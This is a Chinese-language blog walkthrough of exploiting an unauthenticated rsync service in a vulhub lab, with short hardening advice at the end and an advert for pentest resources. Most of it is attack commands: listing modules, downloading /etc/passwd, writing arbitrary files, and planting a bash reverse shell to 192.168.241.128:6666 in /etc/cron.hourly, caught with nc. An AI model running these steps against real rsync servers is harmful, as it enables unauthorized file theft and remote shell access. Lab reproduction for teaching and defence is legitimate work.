Rsync未授权访问 getshell——漏洞复现
一、 Rsync未授权访问漏洞介绍rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。二、靶场搭建靶机: ubuntuIP: 192.168.241.142攻击机: kaliIP: 192.168.241.128直接使用 vluh
一、 Rsync未授权访问漏洞介绍
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
二、靶场搭建
靶机: ubuntu
IP: 192.168.241.142
攻击机: kali
IP: 192.168.241.128
直接使用 vluhub 环境了
cd rsync/common
docker-compose build
docker-compose up -d
三、漏洞复现
3.1、环境启动后,我们用rsync命令访问
rsync rsync://192.168.241.142:873/
如下图所示,则说明存在 Rsync 未授权访问漏洞
3.2、如上图,有一个src模块,我们再列出这个模块下的文件:
rsync rsync://192.168.241.142:873/src/
3.3、任意文件下载
这是一个Linux根目录,我们可以下载任意文件
#比如下载 passwd文件
rsync -av rsync://192.168.241.142:873/src/etc/passwd ./
3.4、任意文件写入
写入 ceshi.txt 文件到 src 目录
rsync -av ceshi.txt rsync://192.168.241.142:873/src/ceshi.txt
3.5、利用任意文件写入、下载功能来 getshell
首先下载crontab配置文件查看一下
该环境crontab中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
#表示每小时的第17分钟执行一次 run-parts --report /etc/cron.hourly
本地创建shell文件
vim shell #创建shell文件
shell内容:
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.241.128/6666 0>&1
赋予 shell 文件执行权限:
chmod 777 shell
将shell上传至/etc/cron.hourly
rsync -av shell rsync://192.168.241.142:873/src/etc/cron.hourly
接下来,kali本地监听6666端口
nc -nvlp 6666
因为每小时第十七分钟运行我们上传的bash脚本,所以反弹shell需要等待
成功反弹shell
四、漏洞复现
1、账户认证:正确配置认证用户名及密码。
2、权限控制:使用合理的权限。
3、网络访问控制:控制接入源ip。
4、数据加密传输等
更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥
更多推荐
所有评论(0)